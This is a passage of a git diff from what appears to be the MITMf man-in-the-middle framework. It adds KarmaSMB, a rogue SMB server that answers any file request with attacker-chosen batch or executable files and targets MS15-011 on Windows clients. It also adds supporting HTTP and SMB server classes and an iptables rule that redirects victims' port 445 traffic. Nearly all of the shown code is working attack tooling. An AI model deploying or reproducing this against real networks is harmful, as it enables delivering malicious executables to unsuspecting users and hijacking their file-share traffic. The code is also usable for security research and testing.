+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+
+import logging
+import sys
+import tornado.ioloop
+import tornado.web
+import threading
+
+from core.configwatcher import ConfigWatcher
+
+tornado_logger = logging.getLogger("tornado")
+tornado_logger.propagate = False
+formatter = logging.Formatter("%(asctime)s [HTTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
+fileHandler = logging.FileHandler("./logs/mitmf.log")
+streamHandler = logging.StreamHandler(sys.stdout)
+fileHandler.setFormatter(formatter)
+streamHandler.setFormatter(formatter)
+tornado_logger.addHandler(fileHandler)
+tornado_logger.addHandler(streamHandler)
+
+class HTTPServer(ConfigWatcher):
+
+ _instance = None
+ application = tornado.web.Application([])
+ http_port = int(ConfigWatcher.config["MITMf"]["HTTP"]["port"])
+
+ @staticmethod
+ def getInstance():
+ if HTTPServer._instance == None:
+ HTTPServer._instance = HTTPServer()
+
+ return HTTPServer._instance
+
+ def addHandler(self, urlregex, handler, vhost=''):
+ self.application.add_handlers(vhost, [(urlregex, handler)])
+
+ def addStaticPathHandler(self, urlregex, path, vhost=''):
+ self.application.add_handlers(vhost, [(urlregex, {"static_path": path})])
+
+ def resetApplication(self):
+ self.application = tornado.web.Application([])
+
+ def parseConfig(self):
+ for url,path in self.config['MITMf']['HTTP']['Paths'].iteritems():
+ self.addStaticPathHandler(url, path)
+
+ def onConfigChange(self):
+ self.resetApplication()
+ self.parseConfig()
+
+ def start(self):
+ self.parseConfig()
+ self.application.listen(self.http_port)
+
+ t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start)
+ t.setDaemon(True)
+ t.start()
+
+class HTTPHandler(tornado.web.RequestHandler):
+ def get(self):
+ raise HTTPError(405)
+
+ def post(self):
+ raise HTTPError(405)
\ No newline at end of file
diff --git a/core/protocols/smb/__init__.py b/core/servers/http/__init__.py
similarity index 100%
rename from core/protocols/smb/__init__.py
rename to core/servers/http/__init__.py
diff --git a/core/servers/smb/KarmaSMB.py b/core/servers/smb/KarmaSMB.py
new file mode 100644
index 0000000..3c7cd59
--- /dev/null
+++ b/core/servers/smb/KarmaSMB.py
@@ -0,0 +1,583 @@
+#!/usr/bin/python
+# Copyright (c) 2015 CORE Security Technologies
+#
+# This software is provided under under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Karma SMB
+#
+# Author:
+# Alberto Solino (@agsolino)
+# Original idea by @mubix
+#
+# Description:
+# The idea of this script is to answer any file read request
+# with a set of predefined contents based on the extension
+# asked, regardless of the sharename and/or path.
+# When executing this script w/o a config file the pathname
+# file contents will be sent for every request.
+# If a config file is specified, format should be this way:
+# =
+# for example:
+# bat = /tmp/batchfile
+# com = /tmp/comfile
+# exe = /tmp/exefile
+#
+# The SMB2 support works with a caveat. If two different
+# filenames at the same share are requested, the first
+# one will work and the second one will not work if the request
+# is performed right away. This seems related to the
+# QUERY_DIRECTORY request, where we return the files available.
+# In the first try, we return the file that was asked to open.
+# In the second try, the client will NOT ask for another
+# QUERY_DIRECTORY but will use the cached one. This time the new file
+# is not there, so the client assumes it doesn't exist.
+# After a few seconds, looks like the client cache is cleared and
+# the operation works again. Further research is needed trying
+# to avoid this from happening.
+#
+# SMB1 seems to be working fine on that scenario.
+#
+# ToDo:
+# [ ] A lot of testing needed under different OSes.
+# I'm still not sure how reliable this approach is.
+# [ ] Add support for other SMB read commands. Right now just
+# covering SMB_COM_NT_CREATE_ANDX
+# [ ] Disable write request, now if the client tries to copy
+# a file back to us, it will overwrite the files we're
+# hosting. *CAREFUL!!!*
+#
+
+import sys
+import os
+import argparse
+import logging
+import ntpath
+import ConfigParser
+
+from impacket import LOG as logger
+from impacket import smbserver, smb, version
+import impacket.smb3structs as smb2
+from impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE
+from impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NO_MORE_FILES, \
+ STATUS_OBJECT_PATH_NOT_FOUND
+from impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \
+ getFileTime, queryPathInformation
+
+class KarmaSMBServer():
+ def __init__(self, smb_challenge, smb_port, smb2Support = False):
+ self.server = 0
+ self.defaultFile = None
+ self.extensions = {}
+
+ # Here we write a mini config for the server
+ smbConfig = ConfigParser.ConfigParser()
+ smbConfig.add_section('global')
+ smbConfig.set('global','server_name','server_name')
+ smbConfig.set('global','server_os','UNIX')
+ smbConfig.set('global','server_domain','WORKGROUP')
+ smbConfig.set('global', 'challenge', smb_challenge.decode('hex'))
+ smbConfig.set('global','log_file','smb.log')
+ smbConfig.set('global','credentials_file','')
+
+ # IPC always needed
+ smbConfig.add_section('IPC$')
+ smbConfig.set('IPC$','comment','Logon server share')
+ smbConfig.set('IPC$','read only','yes')
+ smbConfig.set('IPC$','share type','3')
+ smbConfig.set('IPC$','path','')
+
+ # NETLOGON always needed
+ smbConfig.add_section('NETLOGON')
+ smbConfig.set('NETLOGON','comment','Logon server share')
+ smbConfig.set('NETLOGON','read only','no')
+ smbConfig.set('NETLOGON','share type','0')
+ smbConfig.set('NETLOGON','path','')
+
+ # SYSVOL always needed
+ smbConfig.add_section('SYSVOL')
+ smbConfig.set('SYSVOL','comment','')
+ smbConfig.set('SYSVOL','read only','no')
+ smbConfig.set('SYSVOL','share type','0')
+ smbConfig.set('SYSVOL','path','')
+
+ if smb2Support:
+ smbConfig.set("global", "SMB2Support", "True")
+
+ self.server = smbserver.SMBSERVER(('0.0.0.0',int(smb_port)), config_parser = smbConfig)
+ self.server.processConfigFile()
+
+ # Unregistering some dangerous and unwanted commands
+ self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY)
+ self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY)
+ self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME)
+ self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE)
+ self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE)
+ self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX)
+
+ self.server.unregisterSmb2Command(smb2.SMB2_WRITE)
+
+ self.origsmbComNtCreateAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX)
+ self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX)
+ self.origQueryPathInformation = self.server.hookTransaction2(smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation)
+ self.origFindFirst2 = self.server.hookTransaction2(smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2)
+
+ # And the same for SMB2
+ self.origsmb2TreeConnect = self.server.hookSmb2Command(smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect)
+ self.origsmb2Create = self.server.hookSmb2Command(smb2.SMB2_CREATE, self.smb2Create)
+ self.origsmb2QueryDirectory = self.server.hookSmb2Command(smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory)
+ self.origsmb2Read = self.server.hookSmb2Command(smb2.SMB2_READ, self.smb2Read)
+ self.origsmb2Close = self.server.hookSmb2Command(smb2.SMB2_CLOSE, self.smb2Close)
+
+ # Now we have to register the MS-SRVS server. This specially important for
+ # Windows 7+ and Mavericks clients since they WONT (specially OSX)
+ # ask for shares using MS-RAP.
+
+ self.__srvsServer = SRVSServer()
+ self.__srvsServer.daemon = True
+ self.server.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort()))
+
+ def findFirst2(self, connId, smbServer, recvPacket, parameters, data, maxDataCount):
+ connData = smbServer.getConnectionData(connId)
+
+ respSetup = ''
+ respParameters = ''
+ respData = ''
+ errorCode = STATUS_SUCCESS
+ findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters)
+
+ # 1. Let's grab the extension and map the file's contents we will deliver
+ origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],findFirst2Parameters['FileName']).replace('\\','/'))
+ origFileName = os.path.basename(origPathName)
+
+ _, origPathNameExtension = os.path.splitext(origPathName)
+ origPathNameExtension = origPathNameExtension.upper()[1:]
+
+ if self.extensions.has_key(origPathNameExtension.upper()):
+ targetFile = self.extensions[origPathNameExtension.upper()]
+ else:
+ targetFile = self.defaultFile
+
+ if (len(data) > 0):
+ findFirst2Data = smb.SMBFindFirst2_Data(data)
+ else:
+ findFirst2Data = ''
+
+ if connData['ConnectedShares'].has_key(recvPacket['Tid']):
+ path = connData['ConnectedShares'][recvPacket['Tid']]['path']
+
+ # 2. We call the normal findFirst2 call, but with our targetFile
+ searchResult, searchCount, errorCode = findFirst2(path,
+ targetFile,
+ findFirst2Parameters['InformationLevel'],
+ findFirst2Parameters['SearchAttributes'] )
+
+ respParameters = smb.SMBFindFirst2Response_Parameters()
+ endOfSearch = 1
+ sid = 0x80 # default SID
+ searchCount = 0
+ totalData = 0
+ for i in enumerate(searchResult):
+ #i[1].dump()
+ try:
+ # 3. And we restore the original filename requested ;)
+ i[1]['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = origFileName)
+ except:
+ pass
+
+ data = i[1].getData()
+ lenData = len(data)
+ if (totalData+lenData) >= maxDataCount or (i[0]+1) > findFirst2Parameters['SearchCount']:
+ # We gotta stop here and continue on a find_next2
+ endOfSearch = 0
+ # Simple way to generate a fid
+ if len(connData['SIDs']) == 0:
+ sid = 1
+ else:
+ sid = connData['SIDs'].keys()[-1] + 1
+ # Store the remaining search results in the ConnData SID
+ connData['SIDs'][sid] = searchResult[i[0]:]
+ respParameters['LastNameOffset'] = totalData
+ break
+ else:
+ searchCount +=1
+ respData += data
+ totalData += lenData
+
+
+ respParameters['SID'] = sid
+ respParameters['EndOfSearch'] = endOfSearch
+ respParameters['SearchCount'] = searchCount
+ else:
+ errorCode = STATUS_SMB_BAD_TID
+
+ smbServer.setConnectionData(connId, connData)
+
+ return respSetup, respParameters, respData, errorCode
+
+ def smbComNtCreateAndX(self, connId, smbServer, SMBCommand, recvPacket):
+ connData = smbServer.getConnectionData(connId)
+
+ ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters'])
+ ntCreateAndXData = smb.SMBNtCreateAndX_Data( flags = recvPacket['Flags2'], data = SMBCommand['Data'])
+
+ respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)
+
+ #ntCreateAndXParameters.dump()
+
+ # Let's try to avoid allowing write requests from the client back to us
+ # not 100% bulletproof, plus also the client might be using other SMB
+ # calls (e.g. SMB_COM_WRITE)
+ createOptions = ntCreateAndXParameters['CreateOptions']
+ if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE:
+ errorCode = STATUS_ACCESS_DENIED
+ elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE == FILE_OVERWRITE:
+ errorCode = STATUS_ACCESS_DENIED
+ elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE_IF == FILE_OVERWRITE_IF:
+ errorCode = STATUS_ACCESS_DENIED
+ elif ntCreateAndXParameters['AccessMask'] & smb.FILE_WRITE_DATA == FILE_WRITE_DATA:
+ errorCode = STATUS_ACCESS_DENIED
+ elif ntCreateAndXParameters['AccessMask'] & smb.FILE_APPEND_DATA == FILE_APPEND_DATA:
+ errorCode = STATUS_ACCESS_DENIED
+ elif ntCreateAndXParameters['AccessMask'] & smb.GENERIC_WRITE == GENERIC_WRITE:
+ errorCode = STATUS_ACCESS_DENIED
+ elif ntCreateAndXParameters['AccessMask'] & 0x10000 == 0x10000:
+ errorCode = STATUS_ACCESS_DENIED
+ else:
+ errorCode = STATUS_SUCCESS
+
+ if errorCode == STATUS_ACCESS_DENIED:
+ return [respSMBCommand], None, errorCode
+
+ # 1. Let's grab the extension and map the file's contents we will deliver
+ origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],ntCreateAndXData['FileName']).replace('\\','/'))
+
+ _, origPathNameExtension = os.path.splitext(origPathName)
+ origPathNameExtension = origPathNameExtension.upper()[1:]
+
+ if self.extensions.has_key(origPathNameExtension.upper()):
+ targetFile = self.extensions[origPathNameExtension.upper()]
+ else:
+ targetFile = self.defaultFile
+
+ # 2. We change the filename in the request for our targetFile
+ ntCreateAndXData['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = targetFile)
+ SMBCommand['Data'] = str(ntCreateAndXData)
+ smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO)
+
+ # 3. We call the original call with our modified data
+ return self.origsmbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket)
+
+ def queryPathInformation(self, connId, smbServer, recvPacket, parameters, data, maxDataCount = 0):
+ # The trick we play here is that Windows clients first ask for the file
+ # and then it asks for the directory containing the file.
+ # It is important to answer the right questions for the attack to work
+
+ connData = smbServer.getConnectionData(connId)
+
+ respSetup = ''
+ respParameters = ''
+ respData = ''
+ errorCode = 0
+
+ queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters)
+ if len(data) > 0:
+ queryPathInfoData = smb.SMBQueryPathInformation_Data(data)
+
+ if connData['ConnectedShares'].has_key(recvPacket['Tid']):
+ path = ''
+ try:
+ origPathName = decodeSMBString(recvPacket['Flags2'], queryPathInfoParameters['FileName'])
+ origPathName = os.path.normpath(origPathName.replace('\\','/'))
+
+ if connData.has_key('MS15011') is False:
+ connData['MS15011'] = {}
+
+ smbServer.log("Client is asking for QueryPathInformation for: %s" % origPathName,logging.INFO)
+ if connData['MS15011'].has_key(origPathName) or origPathName == '.':
+ # We already processed this entry, now it's asking for a directory
+ infoRecord, errorCode = queryPathInformation(path, '/', queryPathInfoParameters['InformationLevel'])
+ else:
+ # First time asked, asking for the file
+ infoRecord, errorCode = queryPathInformation(path, self.defaultFile, queryPathInfoParameters['InformationLevel'])
+ connData['MS15011'][os.path.dirname(origPathName)] = infoRecord
+ except Exception, e:
+ #import traceback
+ #traceback.print_exc()
+ smbServer.log("queryPathInformation: %s" % e,logging.ERROR)
+
+ if infoRecord is not None:
+ respParameters = smb.SMBQueryPathInformationResponse_Parameters()
+ respData = infoRecord
+ else:
+ errorCode = STATUS_SMB_BAD_TID
+
+ smbServer.setConnectionData(connId, connData)
+
+ return respSetup, respParameters, respData, errorCode
+
+ def smb2Read(self, connId, smbServer, recvPacket):
+ connData = smbServer.getConnectionData(connId)
+ connData['MS15011']['StopConnection'] = True
+ smbServer.setConnectionData(connId, connData)
+ return self.origsmb2Read(connId, smbServer, recvPacket)
+
+ def smb2Close(self, connId, smbServer, recvPacket):
+ connData = smbServer.getConnectionData(connId)
+ # We're closing the connection trying to flush the client's
+ # cache.
+ if connData['MS15011']['StopConnection'] == True:
+ return [smb2.SMB2Error()], None, STATUS_USER_SESSION_DELETED
+ return self.origsmb2Close(connId, smbServer, recvPacket)
+
+ def smb2Create(self, connId, smbServer, recvPacket):
+ connData = smbServer.getConnectionData(connId)
+
+ ntCreateRequest = smb2.SMB2Create(recvPacket['Data'])
+
+ # Let's try to avoid allowing write requests from the client back to us
+ # not 100% bulletproof, plus also the client might be using other SMB
+ # calls
+ createOptions = ntCreateRequest['CreateOptions']
+ if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE:
+ errorCode = STATUS_ACCESS_DENIED
+ elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE:
+ errorCode = STATUS_ACCESS_DENIED
+ elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF:
+ errorCode = STATUS_ACCESS_DENIED
+ elif ntCreateRequest['DesiredAccess'] & smb2.FILE_WRITE_DATA == smb2.FILE_WRITE_DATA:
+ errorCode = STATUS_ACCESS_DENIED
+ elif ntCreateRequest['DesiredAccess'] & smb2.FILE_APPEND_DATA == smb2.FILE_APPEND_DATA:
+ errorCode = STATUS_ACCESS_DENIED
+ elif ntCreateRequest['DesiredAccess'] & smb2.GENERIC_WRITE == smb2.GENERIC_WRITE:
+ errorCode = STATUS_ACCESS_DENIED
+ elif ntCreateRequest['DesiredAccess'] & 0x10000 == 0x10000:
+ errorCode = STATUS_ACCESS_DENIED
+ else:
+ errorCode = STATUS_SUCCESS
+
+ if errorCode == STATUS_ACCESS_DENIED:
+ return [smb2.SMB2Error()], None, errorCode
+
+ # 1. Let's grab the extension and map the file's contents we will deliver
+ origPathName = os.path.normpath(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le').replace('\\','/'))
+
+ _, origPathNameExtension = os.path.splitext(origPathName)
+ origPathNameExtension = origPathNameExtension.upper()[1:]
+
+ # Are we being asked for a directory?
+ if (createOptions & smb2.FILE_DIRECTORY_FILE) == 0:
+ if self.extensions.has_key(origPathNameExtension.upper()):
+ targetFile = self.extensions[origPathNameExtension.upper()]
+ else:
+ targetFile = self.defaultFile
+ connData['MS15011']['FileData'] = (os.path.basename(origPathName), targetFile)
+ smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO)
+ else:
+ targetFile = '/'
+
+ # 2. We change the filename in the request for our targetFile
+ ntCreateRequest['Buffer'] = targetFile.encode('utf-16le')
+ ntCreateRequest['NameLength'] = len(targetFile)*2
+ recvPacket['Data'] = str(ntCreateRequest)
+
+ # 3. We call the original call with our modified data
+ return self.origsmb2Create(connId, smbServer, recvPacket)
+
+ def smb2QueryDirectory(self, connId, smbServer, recvPacket):
+ # Windows clients with SMB2 will also perform a QueryDirectory
+ # expecting to get the filename asked. So we deliver it :)
+ connData = smbServer.getConnectionData(connId)
+
+ respSMBCommand = smb2.SMB2QueryDirectory_Response()
+ queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data'])
+
+ errorCode = 0xff
+ respSMBCommand['Buffer'] = '\x00'
+
+ errorCode = STATUS_SUCCESS
+
+ #if (queryDirectoryRequest['Flags'] & smb2.SL_RETURN_SINGLE_ENTRY) == 0:
+ # return [smb2.SMB2Error()], None, STATUS_NOT_SUPPORTED
+
+ if connData['MS15011']['FindDone'] is True:
+
+ connData['MS15011']['FindDone'] = False
+ smbServer.setConnectionData(connId, connData)
+ return [smb2.SMB2Error()], None, STATUS_NO_MORE_FILES
+ else:
+ origName, targetFile = connData['MS15011']['FileData']
+ (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(targetFile)
+
+ infoRecord = smb.SMBFindFileIdBothDirectoryInfo( smb.SMB.FLAGS2_UNICODE )
+ infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE
+
+ infoRecord['EaSize'] = 0
+ infoRecord['EndOfFile'] = size
+ infoRecord['AllocationSize'] = size
+ infoRecord['CreationTime'] = getFileTime(ctime)
+ infoRecord['LastAccessTime'] = getFileTime(atime)
+ infoRecord['LastWriteTime'] = getFileTime(mtime)
+ infoRecord['LastChangeTime'] = getFileTime(mtime)
+ infoRecord['ShortName'] = '\x00'*24
+ #infoRecord['FileName'] = os.path.basename(origName).encode('utf-16le')
+ infoRecord['FileName'] = origName.encode('utf-16le')
+ padLen = (8-(len(infoRecord) % 8)) % 8
+ infoRecord['NextEntryOffset'] = 0
+
+ respSMBCommand['OutputBufferOffset'] = 0x48
+ respSMBCommand['OutputBufferLength'] = len(infoRecord.getData())
+ respSMBCommand['Buffer'] = infoRecord.getData() + '\xaa'*padLen
+ connData['MS15011']['FindDone'] = True
+
+ smbServer.setConnectionData(connId, connData)
+ return [respSMBCommand], None, errorCode
+
+ def smb2TreeConnect(self, connId, smbServer, recvPacket):
+ connData = smbServer.getConnectionData(connId)
+
+ respPacket = smb2.SMB2Packet()
+ respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR
+ respPacket['Status'] = STATUS_SUCCESS
+ respPacket['CreditRequestResponse'] = 1
+ respPacket['Command'] = recvPacket['Command']
+ respPacket['SessionID'] = connData['Uid']
+ respPacket['Reserved'] = recvPacket['Reserved']
+ respPacket['MessageID'] = recvPacket['MessageID']
+ respPacket['TreeID'] = recvPacket['TreeID']
+
+ respSMBCommand = smb2.SMB2TreeConnect_Response()
+
+ treeConnectRequest = smb2.SMB2TreeConnect(recvPacket['Data'])
+
+ errorCode = STATUS_SUCCESS
+
+ ## Process here the request, does the share exist?
+ path = str(recvPacket)[treeConnectRequest['PathOffset']:][:treeConnectRequest['PathLength']]
+ UNCOrShare = path.decode('utf-16le')
+
+ # Is this a UNC?
+ if ntpath.ismount(UNCOrShare):
+ path = UNCOrShare.split('\\')[3]
+ else:
+ path = ntpath.basename(UNCOrShare)
+
+ # We won't search for the share.. all of them exist :P
+ #share = searchShare(connId, path.upper(), smbServer)
+ connData['MS15011'] = {}
+ connData['MS15011']['FindDone'] = False
+ connData['MS15011']['StopConnection'] = False
+ share = {}
+ if share is not None:
+ # Simple way to generate a Tid
+ if len(connData['ConnectedShares']) == 0:
+ tid = 1
+ else:
+ tid = connData['ConnectedShares'].keys()[-1] + 1
+ connData['ConnectedShares'][tid] = share
+ connData['ConnectedShares'][tid]['path'] = '/'
+ connData['ConnectedShares'][tid]['shareName'] = path
+ respPacket['TreeID'] = tid
+ #smbServer.log("Connecting Share(%d:%s)" % (tid,path))
+ else:
+ smbServer.log("SMB2_TREE_CONNECT not found %s" % path, logging.ERROR)
+ errorCode = STATUS_OBJECT_PATH_NOT_FOUND
+ respPacket['Status'] = errorCode
+ ##
+
+ if path == 'IPC$':
+ respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_PIPE
+ respSMBCommand['ShareFlags'] = 0x30
+ else:
+ respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_DISK
+ respSMBCommand['ShareFlags'] = 0x0
+
+ respSMBCommand['Capabilities'] = 0
+ respSMBCommand['MaximalAccess'] = 0x011f01ff
+
+ respPacket['Data'] = respSMBCommand
+
+ smbServer.setConnectionData(connId, connData)
+
+ return None, [respPacket], errorCode
+
+ def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket):
+ connData = smbServer.getConnectionData(connId)
+
+ resp = smb.NewSMBPacket()
+ resp['Flags1'] = smb.SMB.FLAGS1_REPLY
+ resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE
+
+ resp['Tid'] = recvPacket['Tid']
+ resp['Mid'] = recvPacket['Mid']
+ resp['Pid'] = connData['Pid']
+
+ respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX)
+ respParameters = smb.SMBTreeConnectAndXResponse_Parameters()
+ respData = smb.SMBTreeConnectAndXResponse_Data()
+
+ treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters'])
+
+ if treeConnectAndXParameters['Flags'] & 0x8:
+ respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters()
+
+ treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] )
+ treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength']
+ treeConnectAndXData.fromString(SMBCommand['Data'])
+
+ errorCode = STATUS_SUCCESS
+
+ UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path'])
+
+ # Is this a UNC?
+ if ntpath.ismount(UNCOrShare):
+ path = UNCOrShare.split('\\')[3]
+ else:
+ path = ntpath.basename(UNCOrShare)
+
+ # We won't search for the share.. all of them exist :P
+ smbServer.log("TreeConnectAndX request for %s" % path, logging.INFO)
+ #share = searchShare(connId, path, smbServer)
+ share = {}
+ # Simple way to generate a Tid
+ if len(connData['ConnectedShares']) == 0:
+ tid = 1
+ else:
+ tid = connData['ConnectedShares'].keys()[-1] + 1
+ connData['ConnectedShares'][tid] = share
+ connData['ConnectedShares'][tid]['path'] = '/'
+ connData['ConnectedShares'][tid]['shareName'] = path
+ resp['Tid'] = tid
+ #smbServer.log("Connecting Share(%d:%s)" % (tid,path))
+
+ respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS
+
+ if path == 'IPC$':
+ respData['Service'] = 'IPC'
+ else:
+ respData['Service'] = path
+ respData['PadLen'] = 0
+ respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS' )
+
+ respSMBCommand['Parameters'] = respParameters
+ respSMBCommand['Data'] = respData
+
+ resp['Uid'] = connData['Uid']
+ resp.addCommand(respSMBCommand)
+ smbServer.setConnectionData(connId, connData)
+
+ return None, [resp], errorCode
+
+ def start(self):
+ self.server.serve_forever()
+
+ def setDefaultFile(self, filename):
+ self.defaultFile = filename
+
+ def setExtensionsConfig(self, filename):
+ for line in filename.readlines():
+ line = line.strip('\r\n ')
+ if line.startswith('#') is not True and len(line) > 0:
+ extension, pathName = line.split('=')
+ self.extensions[extension.strip().upper()] = os.path.normpath(pathName.strip())
diff --git a/core/servers/smb/SMBserver.py b/core/servers/smb/SMBserver.py
new file mode 100644
index 0000000..8a86477
--- /dev/null
+++ b/core/servers/smb/SMBserver.py
@@ -0,0 +1,85 @@
+import logging
+import sys
+import threading
+import os
+
+from socket import error as socketerror
+from impacket import version, smbserver, LOG
+from core.servers.smb.KarmaSMB import KarmaSMBServer
+from core.configwatcher import ConfigWatcher
+from core.utils import shutdown
+
+#Logging is something I'm going to have to clean up in the future
+
+class SMBserver(ConfigWatcher):
+
+ _instance = None
+ impacket_ver = version.VER_MINOR
+ server_type = ConfigWatcher.config["MITMf"]["SMB"]["type"].lower()
+ smbchallenge = ConfigWatcher.config["MITMf"]["SMB"]["Challenge"]
+ smb_port = int(ConfigWatcher.config["MITMf"]["SMB"]["port"])
+
+ @staticmethod
+ def getInstance():
+ if SMBserver._instance == None:
+ SMBserver._instance = SMBserver()
+
+ return SMBserver._instance
+
+ def parseConfig(self):
+ server = None
+ try:
+ if self.server_type == 'normal':
+
+ formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
+ self.configureLogging(formatter)
+
+ server = smbserver.SimpleSMBServer(listenPort=self.smb_port)
+
+ for share in self.config["MITMf"]["SMB"]["Shares"]:
+ path = self.config["MITMf"]["SMB"]["Shares"][share]['path']
+ readonly = self.config["MITMf"]["SMB"]["Shares"][share]['readonly'].lower()
+ server.addShare(share.upper(), path, readOnly=readonly)
+
+ server.setSMBChallenge(self.smbchallenge)
+ server.setLogFile('')
+
+ elif self.server_type == 'karma':
+
+ formatter = logging.Formatter("%(asctime)s [KarmaSMB] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
+ self.configureLogging(formatter)
+
+ server = KarmaSMBServer(self.smbchallenge, self.smb_port)
+ server.defaultFile = self.config["MITMf"]["SMB"]["Karma"]["defaultfile"]
+
+ for extension, path in self.config["MITMf"]["SMB"]["Karma"].iteritems():
+ server.extensions[extension.upper()] = os.path.normpath(path)
+
+ else:
+ shutdown("\n[-] Invalid SMB server type specified in config file!")
+
+ return server
+
+ except socketerror as e:
+ if "Address already in use" in e:
+ shutdown("\n[-] Unable to start SMB server on port {}: port already in use".format(listenPort))
+
+ def configureLogging(self, formatter):
+ #yes I know this looks awful, yuck
+
+ LOG.setLevel(logging.INFO)
+ LOG.propagate = False
+ logging.getLogger('smbserver').setLevel(logging.INFO)
+ logging.getLogger('impacket').setLevel(logging.INFO)
+
+ fileHandler = logging.FileHandler("./logs/mitmf.log")
+ streamHandler = logging.StreamHandler(sys.stdout)
+ fileHandler.setFormatter(formatter)
+ streamHandler.setFormatter(formatter)
+ LOG.addHandler(fileHandler)
+ LOG.addHandler(streamHandler)
+
+ def start(self):
+ t = threading.Thread(name='SMBserver', target=self.parseConfig().start)
+ t.setDaemon(True)
+ t.start()
diff --git a/core/servers/smb/__init__.py b/core/servers/smb/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/core/utils.py b/core/utils.py
index a12c3a5..42a9aa2 100644
--- a/core/utils.py
+++ b/core/utils.py
@@ -69,8 +69,9 @@ class IpTables:
_instance = None
def __init__(self):
- self.dns = False
- self.http = False
+ self.dns = False
+ self.http = False
+ self.smb = False
@staticmethod
def getInstance():
@@ -95,6 +96,11 @@ class IpTables:
os.system('iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port {}'.format(dns_redir_port))
self.dns = True
+ def SMB(self, smb_redir_port):
+ mitmf_logger.debug("[Utils] Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port))
+ os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 445 -j REDIRECT --to-port {}'.format(smb_redir_port))
+ self.smb = True
+
class Banners:
banner1 = """
diff --git a/mitmf.py b/mitmf.py
index a569e2d..3ba5218 100755
--- a/mitmf.py
+++ b/mitmf.py
@@ -173,14 +173,19 @@ NetCreds().start(args.interface, myip)
print "|_ Net-Creds v{} online".format(NetCreds.version)
#Start DNSChef
-from core.dnschef.DNSchef import DNSChef
+from core.servers.dns.DNSchef import DNSChef
DNSChef.getInstance().start()
